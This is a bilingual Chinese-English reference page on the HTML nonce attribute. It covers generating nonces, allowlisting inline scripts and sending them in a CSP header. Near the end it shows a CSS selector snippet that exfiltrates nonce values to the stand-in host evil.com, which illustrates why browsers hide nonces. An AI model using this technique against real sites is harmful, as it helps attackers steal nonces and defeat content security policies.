nonce

¥Description

nonce 属性对于将特定元素列入白名单非常有用，例如特定的内联脚本或样式元素。它可以帮助你避免使用 CSP unsafe-inline 指令，该指令会将所有内联脚本或样式列入白名单。

¥The nonce attribute is useful to allowlist specific elements, such as a particular inline script or style elements. It can help you to avoid using the CSP unsafe-inline directive, which would allowlist all inline scripts or styles.

注意：仅在无法使用不安全的内联脚本或样式内容的情况下才使用 nonce。如果你不需要 nonce，请不要使用它。如果你的脚本是静态的，你也可以使用 CSP 哈希来代替。（参见 不安全的内联脚本 的使用说明。）始终尝试充分利用 CSP 保护，并尽可能避免使用随机数或不安全的内联脚本。

¥Note: Only use nonce for cases where you have no way around using unsafe inline script or style contents. If you don't need nonce, don't use it. If your script is static, you could also use a CSP hash instead. (See usage notes on unsafe inline script.) Always try to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible.

¥Using nonce to allowlist a <script> element

使用随机数机制将内联脚本列入白名单涉及几个步骤：

¥There are a few steps involved to allowlist an inline script using the nonce mechanism:

创造价值

¥Generating values

从你的 Web 服务器上，通过加密安全随机数生成器生成至少 128 位数据的随机 Base64 编码字符串。每次页面加载时，应以不同的方式生成随机数（随机数仅生成一次！）。例如，在 nodejs 中：

¥From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:

const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='

将内联脚本列入允许名单

¥Allowlisting inline script

在后端代码上生成的随机数现在应该用于你想要列入白名单的内联脚本：

¥The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:

<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
  // …
</script>

发送带有 CSP 标头的随机数

¥Sending a nonce with a CSP header

最后，你需要在 Content-Security-Policy 标头中发送随机数值（前置 nonce-）：

¥Finally, you'll need to send the nonce value in a Content-Security-Policy header (prepend nonce-):

Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='

¥Accessing nonces and nonce hiding

出于安全原因，nonce 内容属性被隐藏（将返回空字符串）。

¥For security reasons, the nonce content attribute is hidden (an empty string will be returned).

script.getAttribute("nonce"); // returns empty string

nonce 属性是访问随机数的唯一方法：

¥The nonce property is the only way to access nonces:

script.nonce; // returns nonce value

隐藏 Nonce 有助于防止攻击者通过可以从内容属性中获取数据的机制窃取 Nonce 数据，如下所示：

¥Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data from content attributes like this:

script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}

¥See also

• HTMLElement.nonce
• 内容安全政策
• CSP:script-src